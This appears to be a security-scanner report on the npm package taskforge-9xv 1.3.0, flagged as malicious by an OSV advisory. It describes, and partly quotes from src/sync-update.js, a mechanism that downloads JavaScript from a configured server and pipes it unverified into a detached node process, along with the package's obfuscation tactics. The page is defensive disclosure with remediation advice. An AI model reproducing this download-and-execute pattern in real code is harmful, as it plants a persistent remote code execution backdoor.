taskforge-9xv
This report shows the evidence for taskforge-9xv@1.3.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 2mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-15914 confirms this npm version as malicious.
Advisory
MAL-2026-15914
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in taskforge-9xv (npm)
Details
The `taskforge` CLI, once configured with an origin URL via `taskforge setup --origin-server <url>`, fetches bytes from `<origin>/api/x-handler` and pipes them into a detached `node -` process (`spawn(process.execPath, ['-'], {detached:true,...})` with the response body written to stdin). There is no hash, signature, or shape verification — only a >100-byte length gate. The spawned worker records its PID and is respawned on version change, giving whoever controls the configured origin a persistent remote code-execution channel on the host: the served payload can be rotated at will. The package reinforces this shape with cover-story naming (`taskforge-9xv` with a random suffix, description 'Runtime delivery client (private data layout)'), single-letter/renamed identifiers (`edap`, `dRB`, `esd`, `gapid`, `dl`, `spn`, `sPid`), a randomized 8-byte-hex data directory under `~/.local/share/taskforge/`, and a README stating the directory and filenames are intentionally not descriptive. The origin is caller-supplied rather than hardcoded, but the delivered code runs unchecked in the background regardless of who operates that origin.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
Source establishes an unverified remote-code execution capability, but it is activated only by an explicit user command and uses a user-provided origin. No install-time behavior or unsolicited data theft is present.
Static reason
No blocking static signals were detected.
Trigger
Running `taskforge --origin-server <url>` or `taskforge setup --origin-server <url>`.
Impact
A compromised or malicious configured server can execute arbitrary code as the invoking user.
Mechanism
remote JavaScript download piped to `node -`
AI rationale
Source establishes an unverified remote-code execution capability, but it is activated only by an explicit user command and uses a user-provided origin. No install-time behavior or unsolicited data theft is present.
Evidence
package.jsonsrc/bin.jssrc/sync-update.jssrc/identity.jssrc/locations.js
Independent scan evidence
public snapshotAI called this Suspicious at 93.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for AI warning decision
- Fetches JavaScript from a caller-controlled origin.
- Pipes downloaded bytes to detached `node -` for execution.
- No signature or integrity verification precedes execution.
Evidence against
- No npm lifecycle hooks are declared.
- Execution requires an explicit CLI `--origin-server` argument.
- No source evidence of credential harvesting or unsolicited exfiltration.
Behavioral surface
ChildProcessCryptoEnvironmentVarsFilesystemNetworkShell
Source & flagged code
2 flagged · loading sourcesrc/sync-update.jsView file
3const u = new URL("/api/x-handler", `${b}/`);
if (dk) {
u.searchParams.set("key", dk);
}
const r = await fetch(u.toString(), {
headers: {
Accept: "application/javascript",
...(dk ? { "X-Runtime-auth-ref": dk } : {}),
},
});
High
Ai Review Evidence
Fetches JavaScript from a caller-controlled origin.
src/sync-update.jsView on unpkg · L317const bf = Buffer.from(await r.arrayBuffer());
if (bf.length < 100) {
throw new Error("x-handler response too small");
}
return bf;
High
Ai Review Evidence
No signature or integrity verification precedes execution.
src/sync-update.jsView on unpkg · L17Findings
2 High2 Medium2 Low
HighAi Review Evidencesrc/sync-update.js
HighAi Review Evidencesrc/sync-update.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to taskforge-9xv@1.3.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing taskforge-9xv@1.3.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.